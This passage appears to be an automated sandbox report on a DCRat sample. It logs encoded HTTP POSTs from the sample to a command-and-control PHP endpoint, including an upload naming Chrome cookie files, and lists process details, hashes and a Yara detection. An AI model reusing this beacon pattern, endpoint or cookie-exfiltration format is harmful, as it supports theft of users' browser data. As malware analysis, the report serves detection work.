Dec 10, 2024 07:33:36.321985006 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:36.555479050 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 57 5f 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;W_T0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49937	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:36.809101105 CET	279	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1048 Expect: 100-continue
Dec 10, 2024 07:33:37.157524109 CET	1048	OUT	Data Raw: 5a 52 5c 5d 58 5e 56 50 58 5f 51 55 5a 57 58 5d 56 55 58 58 56 59 50 5e 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: ZR\]X^VPX_QUZWX]VUXXVYP^PV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_[!/=$#4 =];*$>4?Y% /4+T9)'-X0!^" \)
Dec 10, 2024 07:33:38.135507107 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49941	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:38.148473978 CET	348	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----6Bb2TGQW3wrvnAZPjUVj3vIvEUSrxVXwXU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 15834 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 07:33:38.501379013 CET	12360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 42 62 32 54 47 51 57 33 77 72 76 6e 41 5a 50 6a 55 56 6a 33 76 49 76 45 55 53 72 78 56 58 77 58 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------6Bb2TGQW3wrvnAZPjUVj3vIvEUSrxVXwXUContent-Disposition: form-data; name="0"Content-Type: text/plainZW\X]XV]X_QUZ\XVVWX\VXPPPV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]
Dec 10, 2024 07:33:38.621037960 CET	3474	OUT	Data Raw: 49 51 41 6b 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 2f 41 77 41 41 51 6e 4a 76 64 33 4e 6c 63 6e 4d 76 51 32 39 76 61 32 6c 6c 63 31 74 44 61 48 4a 76 62 57 56 64 49 30 64 74 53 48 59 75 64 48 68 30 43 67 41 67 41 41 41 41 41 41 41 42 41 42 Data Ascii: IQAkAAAAAAAAAAAAAAB/AwAAQnJvd3NlcnMvQ29va2llc1tDaHJvbWVdI0dtSHYudHh0CgAgAAAAAAABABgATo05N9tL2wFOjTk320vbAU6NOTfbS9sBUEsBAi0AFAAACAgAlU2LWcCL6QjoAAAAIQEAACEAJAAAAAAAAAAAAAAAygQAAEJyb3dzZXJzL0Nvb2tpZXNbQ2hyb21lXSNCVHlwLnR4dAoAIAAAAAAAAQAYAE6NOTf
Dec 10, 2024 07:33:39.487857103 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:39.723537922 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 57 5f 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;W_T0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49942	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:38.296608925 CET	303	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 07:33:38.642000914 CET	1048	OUT	Data Raw: 5f 55 5c 50 5d 59 53 58 58 5f 51 55 5a 5c 58 53 56 53 58 5e 56 51 50 50 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: _U\P]YSXX_QUZ\XSVSX^VQPPPV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_[!/5A'#1#3]/*X0- +?)R!<,+>C3- Y$8!^" \))
Dec 10, 2024 07:33:39.626898050 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:39.859477043 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 57 5f 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;W_T0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49947	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:40.103610039 CET	279	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1048 Expect: 100-continue
Dec 10, 2024 07:33:40.454638004 CET	1048	OUT	Data Raw: 5f 53 5c 51 5d 58 56 50 58 5f 51 55 5a 59 58 53 56 5a 58 55 56 5c 50 59 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: _S\Q]XVPX_QUZYXSVZXUV\PYPV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_[!/!E$)U !]/:Y'=$?<=V#7+>;&0>8X'(!^" \)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49949	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:41.293484926 CET	303	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 07:33:41.641968966 CET	1764	OUT	Data Raw: 5a 54 59 5c 58 5a 53 5f 58 5f 51 55 5a 59 58 55 56 57 58 58 56 5b 50 59 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: ZTY\XZS_X_QUZYXUVWXXV[PYPV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_["X85$9 #,2_$[?$/)R7++2V;!B&>?'(!^" $
Dec 10, 2024 07:33:42.633164883 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:42.867526054 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1f 25 02 37 11 2f 01 26 3b 09 55 27 3a 25 0c 2a 37 3d 07 3f 3c 0f 03 3c 20 3c 5a 2b 5e 39 59 21 37 28 16 24 2d 08 57 24 2f 00 53 24 34 2e 5e 0c 10 38 16 22 5e 3f 05 28 3e 05 11 3e 59 22 59 28 3f 24 02 26 2f 2b 10 26 39 34 02 27 28 31 19 25 2f 3d 5a 3e 00 25 05 3c 57 38 50 26 28 2e 56 0b 12 20 0f 3d 5f 24 5f 24 04 3f 54 2a 07 22 56 20 5c 31 01 37 05 27 5b 36 38 39 01 29 21 3c 5b 27 1f 0d 56 24 17 20 5a 37 2c 22 0e 32 22 24 50 2c 0d 28 55 03 3e 57 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98%7/&;U':%7=?<< <Z+^9Y!7($-W$/S$4.^8"^?(>>Y"Y(?$&/+&94'(1%/=Z>%<W8P&(.V =_$_$?T"V \17'[689)!<['V$ Z7,"2"$P,(U>WT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49950	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:41.415687084 CET	303	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1044 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 07:33:41.766963959 CET	1044	OUT	Data Raw: 5f 55 5c 51 5d 53 56 5d 58 5f 51 55 5a 5e 58 52 56 51 58 58 56 5b 50 5f 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: _U\Q]SV]X_QUZ^XRVQXXV[P_PV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_["85$#!35Z;9*X0>;\)?"!,Q+16)5'.<]$!^" \)
Dec 10, 2024 07:33:42.744828939 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:42.979509115 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 57 5f 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;W_T0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49955	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:43.227819920 CET	279	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1048 Expect: 100-continue
Dec 10, 2024 07:33:43.579487085 CET	1048	OUT	Data Raw: 5a 53 5c 5e 5d 5b 56 50 58 5f 51 55 5a 5c 58 5c 56 5b 58 5e 56 58 50 5f 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: ZS\^][VPX_QUZ\X\V[X^VXP_PV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_[!,T:&3V7U)[,*'=$=4<,(!9U=+E$ Y$!^" $)
Dec 10, 2024 07:33:44.566890001 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:44.799963951 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 57 5f 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;W_T0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49959	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:45.047045946 CET	303	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1044 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 07:33:45.391974926 CET	1044	OUT	Data Raw: 5f 54 5c 5c 5d 5b 56 5e 58 5f 51 55 5a 5e 58 52 56 56 58 5c 56 5d 50 5c 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: _T\\][V^X_QUZ^XRVVX\V]P\PV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_["]-!$9U7)X,3\<<!7<(2=P;C$=;'8!^" \)
Dec 10, 2024 07:33:46.394697905 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:46.642616987 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 57 5f 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;W_T0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49964	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:46.890717983 CET	303	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 07:33:47.235654116 CET	1048	OUT	Data Raw: 5f 54 5c 51 58 5a 56 59 58 5f 51 55 5a 5a 58 57 56 56 58 5b 56 5a 50 51 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: _T\QXZVYX_QUZZXWVVX[VZPQPV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_[!,T6$3Q##Z;9!3=3\+?W +)5E0#'!^" \)1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49967	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:47.997967958 CET	303	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 07:33:48.345115900 CET	1764	OUT	Data Raw: 5a 55 5c 58 58 5e 56 5e 58 5f 51 55 5a 56 58 54 56 53 58 5a 56 50 50 50 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: ZU\XX^V^X_QUZVXTVSXZVPPPPV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_[",$ &.:1$-<<<6 Z,+=T)5$?'(!^" \)
Dec 10, 2024 07:33:49.337601900 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:49.571682930 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1f 26 5c 20 11 2f 05 25 5d 37 1c 30 3a 0c 50 3f 27 08 1b 28 12 3a 5d 3c 23 38 19 2b 28 3a 00 20 24 09 07 30 13 25 0d 27 3c 39 0c 24 24 2e 5e 0c 10 38 5c 21 28 27 02 3f 3e 28 06 3d 01 32 13 28 2f 3c 02 25 2c 27 1f 27 39 24 00 24 06 17 50 27 12 26 01 2a 39 2e 11 3f 21 20 57 31 02 2e 56 0b 12 23 1c 3e 07 30 5e 26 3d 33 1e 28 3e 2d 0b 22 3a 2a 1e 20 2c 06 04 35 3b 32 12 2a 54 2b 02 30 21 06 0a 24 00 38 14 23 3c 29 53 31 22 24 50 2c 0d 28 55 03 3e 57 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98&\ /%]70:P?'(:]<#8+(: $0%'<9$$.^8\!('?>(=2(/<%,''9$$P'&9.?! W1.V#>0^&=3(>-": ,5;2*T+0!$8#<)S1"$P,(U>WT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49969	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:48.117922068 CET	303	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 07:33:48.470046043 CET	1048	OUT	Data Raw: 5f 53 5c 59 58 59 53 5a 58 5f 51 55 5a 5d 58 53 56 52 58 59 56 59 50 58 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: _S\YXYSZX_QUZ]XSVRXYVYPXPV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_[!,&#!V4#&/23?+#(?>)%B'-$Z$!^" \)-
Dec 10, 2024 07:33:49.456485033 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:49.691329956 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 57 5f 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;W_T0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49972	185.43.5.93	80	6180	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:33:49.932235956 CET	279	OUT	POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 185.43.5.93 Content-Length: 1048 Expect: 100-continue
Dec 10, 2024 07:33:50.282543898 CET	1048	OUT	Data Raw: 5f 54 5c 5b 5d 5e 56 5e 58 5f 51 55 5a 5a 58 5d 56 51 58 5b 56 5a 50 58 50 56 5b 5c 53 5d 5b 5c 5c 45 56 54 5a 5c 50 53 59 5e 55 54 58 52 51 59 5a 5c 42 56 5a 5d 5a 5f 50 5b 55 5f 51 5a 58 5e 54 5d 5d 5e 5e 59 55 5c 5a 5b 5d 58 5f 5d 43 56 5c 59 Data Ascii: _T\[]^V^X_QUZZX]VQX[VZPXPV[\S][\\EVTZ\PSY^UTXRQYZ\BVZ]Z_P[U_QZX^T]]^^YU\Z[]X_]CV\YR[TXX[STZ]^ZQU][YVR\G\Z[\UQ[\P[]XP]Z\Z_YXXRUB_YV]V\__][^_U[E^PSWQYSPT]YZASS^V^BYXX_ZXXPTZT_SXR[P_Z]Y_[!/2=B$#6 X/*^$>;( #+W(("0$(!^" \)1
Dec 10, 2024 07:33:51.259231091 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 07:33:51.491430998 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:33:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 57 5f 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;W_T0

Target ID:	0
Start time:	01:31:45
Start date:	10/12/2024
Path:	C:\Users\user\Desktop\KyC6hVwU8Z.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\KyC6hVwU8Z.exe"
Imagebase:	0x1b0000
File size:	1'341'440 bytes
MD5 hash:	A8C535490FEB18FDFF588D94C0D8A889
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:31:45
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:32:58
Start date:	10/12/2024
Path:	C:\Users\user\Desktop\KyC6hVwU8Z.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\KyC6hVwU8Z.exe"
Imagebase:	0x1b0000
File size:	1'341'440 bytes
MD5 hash:	A8C535490FEB18FDFF588D94C0D8A889
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:32:58
Start date:	10/12/2024
Path:	C:\Users\user\Desktop\KyC6hVwU8Z.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\KyC6hVwU8Z.exe"
Imagebase:	0x1b0000
File size:	1'341'440 bytes
MD5 hash:	A8C535490FEB18FDFF588D94C0D8A889
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000006.00000002.2796508370.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:32:59
Start date:	10/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6176 -s 268
Imagebase:	0x260000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:32:59
Start date:	10/12/2024
Path:	C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe"
Imagebase:	0x7ff64c400000
File size:	18'944 bytes
MD5 hash:	F3EDFF85DE5FD002692D54A04BCB1C09
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:32:59
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:32:59
Start date:	10/12/2024
Path:	C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe"
Imagebase:	0x50000
File size:	691'200 bytes
